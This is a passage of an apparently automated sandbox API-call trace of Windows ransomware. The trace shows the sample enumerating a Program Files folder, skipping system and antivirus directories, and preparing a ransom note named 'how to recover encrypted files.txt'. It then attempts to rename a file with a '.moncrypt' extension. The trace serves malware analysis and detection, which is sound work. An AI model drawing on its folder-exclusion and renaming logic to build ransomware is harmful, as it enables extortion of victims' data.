ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@夜U企@\x18闼R\x18j")) returned 0xffffffff [0057.392] GetLastError () returned 0x2 [0057.392] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.392] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ae8, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.392] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@隤R企@\x18?T\x18q")) returned 0xffffffff [0057.394] GetLastError () returned 0x2 [0057.394] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.394] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\闸R ") returned 6 [0057.394] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@伤R企@\x18?T\x18y")) returned 0xffffffff [0057.395] GetLastError () returned 0x2 [0057.395] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.395] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0057.395] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꐬR企@\x18?T\x18\x81")) returned 0xffffffff [0057.397] GetLastError () returned 0x2 [0057.397] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.397] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0057.397] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@隤R企@\x18?T\x18\x88")) returned 0xffffffff [0057.398] GetLastError () returned 0x2 [0057.398] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.398] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0057.398] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@伤R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.400] GetLastError () returned 0x2 [0057.400] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.400] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0057.400] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꐬR企@\x18?T\x18\x97")) returned 0xffffffff [0057.401] GetLastError () returned 0x2 [0057.401] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.401] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0057.401] GlobalLock (hMem=0x440004) returned 0x550170 [0057.401] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.401] GlobalUnlock (hMem=0x440004) returned 0 [0057.401] GlobalLock (hMem=0x440004) returned 0x550170 [0057.401] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.401] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.402] GlobalUnlock (hMem=0x440004) returned 0 [0057.402] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.402] GlobalUnlock (hMem=0x44000c) returned 0 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.402] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.402] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.402] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.402] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.402] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.402] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.402] GlobalUnlock (hMem=0x44000c) returned 0 [0057.402] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.402] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.402] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.402] GlobalUnlock (hMem=0x44000c) returned 0 [0057.402] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.402] GlobalUnlock (hMem=0x440004) returned 0 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.402] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\") returned 0x34 [0057.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.403] GlobalLock (hMem=0x440004) returned 0x550170 [0057.403] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.403] GlobalUnlock (hMem=0x440004) returned 0 [0057.403] GlobalLock (hMem=0x440004) returned 0x550170 [0057.403] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.403] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.403] GlobalUnlock (hMem=0x440004) returned 0 [0057.403] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.403] GlobalUnlock (hMem=0x44000c) returned 0 [0057.403] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0057.404] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.404] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 1 [0057.404] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0057.404] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.404] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.404] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.404] GlobalUnlock (hMem=0x44000c) returned 0 [0057.404] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.405] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.405] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.405] GlobalUnlock (hMem=0x44000c) returned 0 [0057.405] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.405] GlobalUnlock (hMem=0x440004) returned 0 [0057.405] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.405] CharLowerBuffW (in: lpsz="babyblue.png", cchLength=0xc | out: lpsz="babyblue.png") returned 0xc [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.405] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0057.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\BabyBoy\\babyblue.png ", lpUsedDefaultChar=0x0) returned 4 [0057.405] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0057.406] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0057.407] CloseHandle (hObject=0x18c) returned 1 [0057.407] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\я")) returned 1 [0057.408] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70cace83, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70cace83, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cc5f99, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x303d, dwReserved0=0x0, dwReserved1=0x0, cFileName="babyblue.png", cAlternateFileName="")) returned 0x54e280 [0057.408] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.408] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.408] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.408] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png", dwFileAttributes=0x20) returned 0 [0057.410] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.410] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\babyblue.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyblue.png.moncrypt")) returned 0 [0057.410] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70d1f29a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70d1f29a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49cec0f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5354a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainBackground.wmv", cAlternateFileName="")) returned 1 [0057.410] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.410] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.410] GlobalLock (hMem=0x440004) returned 0x555b78 